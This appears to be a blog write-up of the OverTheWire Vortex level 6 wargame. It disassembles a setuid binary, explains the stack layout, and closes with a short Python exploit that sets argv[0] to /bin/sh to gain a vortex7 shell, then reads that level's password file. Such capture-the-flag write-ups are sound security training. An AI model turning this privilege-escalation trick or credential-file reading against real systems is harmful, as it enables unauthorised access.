Pages

Thursday, September 20, 2012

OverTheWire Vortex Level 6

For this level, just the binary is available, not the source code. First, we'll download it and study it locally with gdb.
(gdb) set disassembly-flavor intel
(gdb) disassemble main 
Dump of assembler code for function main:
   0x08048446 <+0>: push   ebp
   0x08048447 <+1>: mov    ebp,esp
   0x08048449 <+3>: and    esp,0xfffffff0
   0x0804844c <+6>: sub    esp,0x10
   0x0804844f <+9>: mov    eax,DWORD PTR [ebp+0x10]
   0x08048452 <+12>: mov    eax,DWORD PTR [eax]
   0x08048454 <+14>: test   eax,eax
   0x08048456 <+16>: je     0x8048465 
0x08048458 <+18>: mov eax,DWORD PTR [ebp+0xc] 0x0804845b <+21>: mov eax,DWORD PTR [eax] 0x0804845d <+23>: mov DWORD PTR [esp],eax 0x08048460 <+26>: call 0x8048424 <restart> 0x08048465 <+31>: mov eax,DWORD PTR [ebp+0x10] 0x08048468 <+34>: add eax,0xc 0x0804846b <+37>: mov eax,DWORD PTR [eax] 0x0804846d <+39>: mov DWORD PTR [esp],eax 0x08048470 <+42>: call 0x8048354 <printf@plt> 0x08048475 <+47>: mov DWORD PTR [esp],0x7325 0x0804847c <+54>: call 0x8048334 <_exit@plt> End of assembler dump. (gdb) disassemble restart Dump of assembler code for function restart: 0x08048424 <+0>: push ebp 0x08048425 <+1>: mov ebp,esp 0x08048427 <+3>: sub esp,0x18 0x0804842a <+6>: mov DWORD PTR [esp+0x8],0x0 0x08048432 <+14>: mov eax,DWORD PTR [ebp+0x8] 0x08048435 <+17>: mov DWORD PTR [esp+0x4],eax 0x08048439 <+21>: mov eax,DWORD PTR [ebp+0x8] 0x0804843c <+24>: mov DWORD PTR [esp],eax 0x0804843f <+27>: call 0x8048344 @lt;execlp@plt> 0x08048444 <+32>: leave 0x08048445 <+33>: ret End of assembler dump. (gdb)
After the function prologue and aligning stack pointer to 4-byte boundary, 16 bytes are subtracted from ESP to make room for local variables. Throughout the code of main function, there are references to 2 locations we need to understand: (ebp+0x10) and (ebp+0x0c). This article explains basics about stack frames, and the next one details also the stack layout. The stack layout before calling the main function looks like this:
:    :
|    | [ebp + 16] (env - address of env array)
|    | [ebp + 12] (argv - address of argv array)
|    | [ebp + 8]  (argc - number of arguments passed to main)
|    | [ebp + 4]  (return address)
|    | [ebp]      (old ebp value)
|    | [ebp - 4]  (1st local variable)
:    :
:    :

We can quickly verify this with the following wrapper program, that runs a target program with different arguments. This thread shows a way to read registers (ebp in our case) with inline assembly from C code compiled with GCC.
#include <stdio .h>

int main() {
    register int ebp asm("ebp");    
    
    char **env = *(char***)(ebp + 16);
    char **argv = *(char ***)(ebp + 12);
    int argc = *(int*)(ebp + 8);
    
    printf("[EBP + 16] - First element of env[] array: %s\n", env[0]);
    printf("[EBP + 12] - First element of argv[] array: %s\n", argv[0]); 
    printf("[EBP +  8] - Number of arguments (argc): %d\n", argc);
}
And the test wraper:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char* argv[]) {

    char* arg[] = {"ARG0", "ARG1", "ARG2", "ARG3", "ARG4", "ARG5", NULL};
    char* env[] = {"ENV0", "ENV1", "ENV2", "ENV3", NULL};

    execve("./layout",arg,env);
}
So we have:
# gcc layout.c -o layout
# gcc wrap.c -o wrap
# ./wrap 
[EBP + 16] - First element of env[] array: ENV0
[EBP + 12] - First element of argv[] array: ARG0
[EBP +  8] - Number of arguments (argc): 6
# 
Based on that, we see that the vortex6 binary checks the first environment variable, and if it's not NULL executes restart function with argv[0] as parameter. We see that reconstruct() function calls execlp, with first2 arguments the value from **(ebp+8), and the third one NULL. When calling restart function, the stack looks like this:
:    :
|    | [ebp + 12] (2nd argument)
|    | [ebp + 8]  (1st argument)
| RA | [ebp + 4]  (return address)
| FP | [ebp]      (old ebp value)
|    | [ebp - 4]  (1st local variable)
So wee see that at (ebp + 8) we have its first argument, which is in fact argv[0]. Basically the reconstructed function is:
void restart(char *s) {
    execlp(s,s,NULL);
}
After reconstructing the whole functionality, it's easy to exploit the binary using a simple python wrapper:
import subprocess

argv = ['/bin/sh']

p = subprocess.Popen(argv, executable = './vortex6.bin')        
p.wait()
And tada..
vortex6@melissa:~$ python /tmp/myl6.py
$ id
uid=5006(vortex6) gid=5006(vortex6) euid=5007(vortex7) groups=5007(vortex7),5006(vortex6)
$ cat /etc/vortex_pass/vortex7
*****
References:
  1. x86 Disassembly/Functions and Stack Frames


No comments:

Post a Comment